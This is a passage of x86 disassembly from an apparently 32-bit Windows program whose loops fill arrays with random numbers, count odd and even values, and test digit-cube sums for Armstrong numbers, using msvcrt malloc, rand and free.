sar eax, 0x1f
mov ebx, edx
sub ebx, eax
imul eax, ebx, 0x1544
mov ebx, ecx
sub ebx, eax
mov edx, dword [ebp - 0xa8]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0xea4]
add edx, eax
mov dword [ebp - 0x1f68], ebx
fild dword [ebp - 0x1f68]
mov eax, dword [ebp - 0xac]
fstp dword [edx + eax*4]
add dword [ebp - 0xac], 1
cmp dword [ebp - 0xac], 2
jle 0x40275c
add dword [ebp - 0xa8], 1
cmp dword [ebp - 0xa8], 0xe
jle 0x402750
mov dword [ebp - 0xa8], 0
jmp 0x402852
mov dword [ebp - 0xac], 0
jmp 0x402842
fild dword [ebp - 0xb0]
mov edx, dword [ebp - 0xa8]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0xea4]
add edx, eax
mov eax, dword [ebp - 0xac]
fld dword [edx + eax*4]
faddp st(1)
fnstcw word [ebp - 0x1f5a]
movzx eax, word [ebp - 0x1f5a]
or ah, 0xc
mov word [ebp - 0x1f5c], ax
fldcw word [ebp - 0x1f5c]
fistp dword [ebp - 0xb0]
fldcw word [ebp - 0x1f5a]
add dword [ebp - 0xac], 1
cmp dword [ebp - 0xac], 2
jle 0x4027e8
add dword [ebp - 0xa8], 1
cmp dword [ebp - 0xa8], 0xe
jle 0x4027dc
mov eax, dword [ebp - 0xea4]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [esp], 0x14c
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xea8], eax
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb4], 0
jmp 0x4028e0
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0xb4]
lea edx, [eax*4]
mov eax, dword [ebp - 0xea8]
lea ebx, [edx + eax]
mov edx, 0x14f8b589
mov eax, ecx
imul edx
mov eax, edx
sar eax, 0xd
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x186a0
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
add dword [ebp - 0xb4], 1
cmp dword [ebp - 0xb4], 0x52
jle 0x40289b
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xb4], 0
jmp 0x402952
mov eax, dword [ebp - 0xb4]
lea edx, [eax*4]
mov eax, dword [ebp - 0xea8]
add eax, edx
mov eax, dword [eax]
and eax, 1
test eax, eax
je 0x402926
add dword [ebp - 0xb8], 1
jmp 0x40294b
mov eax, dword [ebp - 0xb4]
lea edx, [eax*4]
mov eax, dword [ebp - 0xea8]
add eax, edx
mov eax, dword [eax]
and eax, 1
test eax, eax
jne 0x40294b
add dword [ebp - 0xbc], 1
add dword [ebp - 0xb4], 1
cmp dword [ebp - 0xb4], 0x52
jle 0x4028ff
mov eax, dword [ebp - 0xea8]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [ebp - 0xc4], 1
jmp 0x402a1d
mov dword [ebp - 0xc0], 0
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0xc8], eax
jmp 0x4029f3
mov ecx, dword [ebp - 0xc8]
mov edx, 0x66666667
mov eax, ecx
imul edx
sar edx, 2
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
sub ecx, eax
mov edx, ecx
mov dword [ebp - 0x1cf4], edx
mov eax, dword [ebp - 0x1cf4]
imul eax, eax
imul eax, dword [ebp - 0x1cf4]
add dword [ebp - 0xc0], eax
mov ecx, dword [ebp - 0xc8]
mov edx, 0x66666667
mov eax, ecx
imul edx
mov eax, edx
sar eax, 2
sar ecx, 0x1f
mov edx, ecx
sub eax, edx
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0
jne 0x402990
mov eax, dword [ebp - 0xc0]
cmp eax, dword [ebp - 0xc4]
jne 0x402a16
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x1cf0], eax
add dword [ebp - 0xc4], 1
cmp dword [ebp - 0xc4], 0x132
jle 0x402978
mov dword [ebp - 0xeac], 1
mov dword [ebp - 0xcc], 0
jmp 0x402ed6
mov dword [esp], 0x53c
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x1cd8], eax
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xd4], 0
jmp 0x402abd
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0xd4]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1cd8]
lea ebx, [edx + eax]
mov edx, 0x14f8b589
mov eax, ecx
imul edx
mov eax, edx
sar eax, 0xd
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x186a0
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
add dword [ebp - 0xd4], 1
cmp dword [ebp - 0xd4], 0x14e
jle 0x402a78
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xd4], 0
jmp 0x402b32
mov eax, dword [ebp - 0xd4]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1cd8]
add eax, edx
mov eax, dword [eax]
and eax, 1
test eax, eax
je 0x402b06
add dword [ebp - 0xd8], 1
jmp 0x402b2b
mov eax, dword [ebp - 0xd4]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1cd8]
add eax, edx
mov eax, dword [eax]
and eax, 1
test eax, eax
jne 0x402b2b
add dword [ebp - 0xdc], 1
add dword [ebp - 0xd4], 1
cmp dword [ebp - 0xd4], 0x14e
jle 0x402adf
mov eax, dword [ebp - 0x1cd8]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [ebp - 0xd0], 0
jmp 0x402ec2
mov dword [ebp - 0x1cdc], 0
mov dword [esp], 0x1440
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x1ce0], eax
mov dword [esp], 0x1440
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x1ce4], eax
mov dword [esp], 0x1440
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x1ce8], eax
mov dword [ebp - 0xe0], 0
jmp 0x402c7e
cmp dword [ebp - 0xd0], 0x32
jle 0x402b5b
add dword [ebp - 0xcc], 1
cmp dword [ebp - 0xcc], 0x97
jle 0x402a46
mov dword [esp], 0x18f8
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xeb0], eax
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0xeb4], 1
mov dword [ebp - 0xf8], 0
jmp 0x402f7c
mov dword [ebp - 0xfc], 0
jmp 0x402f6c
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0xf8]
imul edx, eax, 0x88
mov eax, dword [ebp - 0xeb0]
lea ebx, [edx + eax]
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x64
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0xfc]
mov dword [ebx + edx*4], eax
add dword [ebp - 0xfc], 1
cmp dword [ebp - 0xfc], 0x21
jle 0x402f24
add dword [ebp - 0xf8], 1
cmp dword [ebp - 0xf8], 0x2e
jle 0x402f18
mov dword [ebp - 0xf8], 0
jmp 0x402fdc
cmp dword [ebp - 0xf8], 0x2e
jle 0x402f91